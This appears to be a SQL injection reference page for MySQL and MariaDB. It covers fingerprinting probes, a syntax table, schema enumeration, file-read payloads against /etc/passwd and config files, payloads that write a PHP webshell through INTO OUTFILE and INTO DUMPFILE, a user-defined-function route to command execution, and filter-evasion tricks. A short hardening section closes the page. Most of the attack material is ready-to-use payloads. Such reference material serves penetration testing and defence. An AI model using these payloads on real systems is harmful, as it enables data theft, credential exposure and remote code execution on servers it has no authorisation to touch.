Skip to content
CWE-89A03:2021 – Injection

MySQL / MariaDB

Fingerprinting, syntax, metadata access, file operations and command execution on the most commonly encountered engine.

Fingerprinting

MySQL is distinguishable from every other engine by two quirks:

  • # is a valid comment. No other major engine accepts it.
  • Adjacent string literals concatenate. 'ali' 'ce' equals 'alice' in MySQL and is a syntax error elsewhere.

MariaDB is a fork and behaves identically for almost everything here; @@version distinguishes them (10.11.6-MariaDB vs 8.0.35). Where behaviour diverges it is noted.

Identification probes

SQL
' AND @@version LIKE '5%'-- -           -- version family
' AND CONNECTION_ID()=CONNECTION_ID()-- -
' # comment syntax unique to MySQL
' AND 'ali' 'ce'='alice'-- -            -- literal concatenation, MySQL only

-- Error text is distinctive:
-- "You have an error in your SQL syntax; check the manual that
--  corresponds to your MySQL server version"

Syntax Reference

OperationSyntax
Comment-- - or # or /* */
Version@@version VERSION()
Current userCURRENT_USER() USER() SESSION_USER()
Current databaseDATABASE() SCHEMA()
ConcatenationCONCAT(a,b) CONCAT_WS(sep,a,b) 'a' 'b'
SubstringSUBSTRING(s,pos,len) MID(s,pos,len) SUBSTR(s,pos,len)
LengthLENGTH(s) CHAR_LENGTH(s)
ASCII valueASCII(c) ORD(c)
Char from codeCHAR(65)
Hex encodeHEX(s) 0x616263 as a literal
DelaySLEEP(5) BENCHMARK(5000000,MD5('a'))
ConditionalIF(cond,a,b) CASE WHEN cond THEN a ELSE b END
Row limitLIMIT 1 LIMIT 1 OFFSET 5
Aggregate rowsGROUP_CONCAT(col SEPARATOR ',')
No-table SELECTSELECT 1 (no FROM needed)

Schema Enumeration

SQL
-- Databases
SELECT schema_name FROM information_schema.schemata

-- Tables in the current database
SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()

-- Columns of a table
SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'

-- Everything at once — one request for the whole schema.
-- GROUP_CONCAT is the single biggest time-saver on MySQL.
SELECT GROUP_CONCAT(CONCAT(table_name,'.',column_name) SEPARATOR ', ')
FROM information_schema.columns WHERE table_schema=DATABASE()

-- WARNING: group_concat_max_len defaults to 1024 bytes and truncates
-- SILENTLY. Check the length first, or raise it if you have privileges:
SELECT @@group_concat_max_len

-- Current privileges — determines what else on this page is reachable
SELECT * FROM information_schema.user_privileges WHERE grantee LIKE CONCAT('%',SUBSTRING_INDEX(USER(),'@',1),'%')
SHOW GRANTS

File Read and Write

MySQL can read and write files on the server, gated by two things: the FILE privilege, and the secure_file_priv system variable.

secure_file_priv behaviour:

  • empty string — no restriction, everything below works
  • a directory path — file operations confined to that directory
  • NULL — file operations disabled entirely

Since MySQL 5.7.6 the default is a fixed directory, and many distribution packages set it to NULL. Check before spending time here.

File operations

SQL
-- Check what is possible first
SELECT @@secure_file_priv
SELECT @@datadir

-- Read
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -
' UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL-- -

-- LOAD_FILE returns NULL on any failure — missing file, no permission,
-- or secure_file_priv. NULL alone does not tell you which.

-- Write a webshell. Needs FILE, a writable web root, and
-- secure_file_priv permitting it.
' UNION SELECT NULL,'<?php system($_GET[0]); ?>',NULL
  INTO OUTFILE '/var/www/html/s.php'-- -

-- DUMPFILE writes raw bytes with no formatting — required for binaries.
-- OUTFILE adds row/column separators and will corrupt a binary payload.
' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b305d293b203f3e
  INTO DUMPFILE '/var/www/html/s.php'-- -

-- INTO OUTFILE refuses to overwrite an existing file. Pick a new name.

Command Execution

MySQL has no built-in command execution. The routes are:

Webshell via INTO OUTFILE — by far the most common. Needs FILE, a writable directory inside the web root, and permissive secure_file_priv. See above.

User-defined functions — write a shared library into the plugin directory with INTO DUMPFILE, then CREATE FUNCTION to expose sys_exec. Needs FILE plus INSERT on mysql, and the plugin directory must be writable. The lib_mysqludf_sys library is the standard implementation. This is heavier and more fragile than a webshell but works when there is no web root.

Stacked queries are usually unavailable on MySQL — mysqli_query and PDO are single-statement by default — so neither route can be reached by simply appending a statement. See Stacked Queries.

UDF path (outline)

SQL
-- 1. Find where plugins load from
SELECT @@plugin_dir

-- 2. Write the shared object there (hex-encoded lib_mysqludf_sys)
SELECT 0x7f454c46... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'

-- 3. Register the function
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so'

-- 4. Execute
SELECT sys_exec('id > /tmp/o')

-- Fragile in practice: the plugin dir is usually root-owned, and
-- the .so must match the server's architecture and libc.

Quirks Worth Knowing

Comment needs whitespace. -- alone is not a comment in MySQL; it requires a following whitespace character. Use -- - so the marker survives a URL round-trip, or #.

Versioned comments execute. /*!50000 SELECT */ runs on MySQL 5.0 and above while looking like a comment to anything else. This is a WAF-bypass staple — see Filter Evasion.

Hex literals need no quotes. 0x61646d696e is 'admin', which defeats filters that strip quotes entirely.

Implicit type juggling. '1abc' = 1 is true, and 'abc' = 0 is true. Comparisons between a string column and an integer can behave surprisingly.

information_schema is filtered by privilege. It shows only what your account can see, so an empty result means low privilege rather than an empty schema.

MariaDB divergence. No sys schema by default; SLEEP() behaves the same; some JSON functions differ. Check @@version when a payload fails unexpectedly.

Prevention

Use prepared statements — see PHP, Python, Node.js, Java.

MySQL-specific hardening:

  • Set secure_file_priv=NULL unless file access is genuinely required.
  • Never grant FILE to an application account. It is a server-wide privilege, not a per-database one.
  • Do not enable multi-statement support (allowMultiQueries, MYSQL_ATTR_MULTI_STATEMENTS).
  • Grant only the specific DML the application needs, on only its own schema.
  • Ensure the MySQL process user cannot write to the web root.